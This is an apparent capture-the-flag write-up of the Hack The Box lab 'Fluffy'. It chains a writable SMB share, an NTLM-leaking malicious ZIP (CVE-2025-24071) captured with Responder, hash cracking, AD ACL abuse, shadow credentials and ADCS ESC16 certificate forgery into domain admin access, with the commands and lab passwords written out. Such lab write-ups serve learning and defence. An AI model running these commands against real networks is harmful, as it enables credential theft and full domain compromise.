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Hack The Box: Fluffy Walkthrough

Hack The Box: Fluffy Walkthrough

🧸 Machine Overview

  • Name: Fluffy
  • Difficulty: Easy
  • OS: Windows (Active Directory)
  • Scenario: Assumed Breach
  • Attack Chain: SMB Write → NTLM Leak (CVE-2025-24071) → AD ACL Abuse → ADCS (ESC16)

Fluffy demonstrates how a seemingly low-impact misconfiguration (a writable SMB share) can be chained with a modern Windows Explorer vulnerability and Active Directory Certificate Services misconfigurations to fully compromise a domain.


Fluffy is an Active Directory machine that simulates an Assumed Breach scenario. The path to Domain Admin involves exploiting a writable SMB share, leveraging a Windows Explorer spoofing vulnerability (CVE-2025–24071), and chaining complex AD ACL misconfigurations with ADCS (ESC16) abuse.

Before starting, the hostname was added to the local hosts file: 10.129.31.61 fluffy.htb dc01.fluffy.htb

Initial Access Provided Credentials The engagement starts with low-privileged access:

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User: j.fleischman
Password: J0elTHEM4n1990!

SMB Enumeration

I began by enumerating the available SMB shares using the provided credentials:

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smbclient -L //10.129.31.61/ -U 'j.fleischman'

Desktop View

The IT share was accessible. After connecting, I downloaded all contents for offline review:

Desktop View

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smbclient //10.129.31.61/IT -U 'j.fleischman'
# Inside smbclient:
RECURSE ON
PROMPT OFF
mget *

Vulnerability Discovery

Desktop View

Among the files was a PDF document referencing CVE-2025–24071 (Windows File Explorer Spoofing). This vulnerability allows an attacker to leak NTLM hashes when a victim interacts with a crafted .library-ms file inside a ZIP archive.

Credential Harvesting

Exploiting CVE-2025–24071 I used a public PoC to generate a malicious archive that points to my attacker IP:

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python3 poc.py --name kavi --ip 10.10.14.74

I uploaded the resulting exploit.zip to the writable IT share. To capture the incoming authentication, I started Responder:

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sudo responder -I tun0

Once a user extracted the archive, the NTLMv2 hash for p.agila was captured.

Password Cracking

The hash was cracked using rockyou.txt:

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hashcat -m 5600 p_agila.hash /usr/share/wordlists/rockyou.txt
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Credentials Found: p.agila : prometheusx-303

Active Directory Enumeration

BloodHound Collection

With p.agila’s credentials, I mapped the domain’s attack surface:

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bloodhound-python -d fluffy.htb -u p.agila -p 'prometheusx-303' -ns 10.129.31.61 -c All

Desktop View

Desktop View

Key Findings:

p.agila is a member of Service Account Managers.

This group has GenericAll over the Service Accounts group.

The Service Accounts group has GenericWrite over winrm_svc and ca_svc.

Lateral Movement

ACL Abuse & Shadow Credentials

I added p.agila to the Service Accounts group to inherit the necessary permissions:

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bloodyAD -u 'p.agila' -p 'prometheusx-303' -d fluffy.htb --host 10.129.31.61 add groupMember "service accounts" p.agila

Desktop View

Next, I used a Shadow Credentials attack to take control of both service accounts:

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certipy-ad shadow auto -username p.agila@fluffy.htb -password 'prometheusx-303' -account ca_svc
certipy-ad shadow auto -username p.agila@fluffy.htb -password 'prometheusx-303' -account winrm_svc

Desktop View

Foothold (WinRM)

Using the NT hash for winrm_svc, I logged in via Evil-WinRM to collect the user flag:

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evil-winrm -u winrm_svc -H <NT_HASH> -i 10.129.31.61

Privilege Escalation

ADCS ESC16 Abuse

Enumeration revealed that the Certificate Authority (CA) was vulnerable to ESC16 due to disabled security extensions.

I abused the ca_svc account (which had write permissions on the CA) to forge a certificate for the Administrator:

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# Request certificate as Administrator
certipy-ad req -u ca_svc -hashes <HASH> -dc-ip 10.129.31.61 -ca fluffy-DC01-CA -template User
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# Authenticate with forged PFX
certipy-ad auth -pfx administrator.pfx -domain fluffy.htb -dc-ip 10.129.31.61

Domain Admin Access

The previous step returned the Administrator’s NT hash. I used it for a final WinRM session:

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evil-winrm -u Administrator -H <ADMIN_HASH> -i dc01.fluffy.htb
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Root Flag: C:\Users\Administrator\Desktop\root.txt

Conclusion

Fluffy highlights the danger of permission chaining. A single writable share and a modern spoofing vulnerability provided the foothold needed to abuse complex Active Directory Certificate Services configurations.

Happy Hacking XD!

This post is licensed under CC BY 4.0 by the author.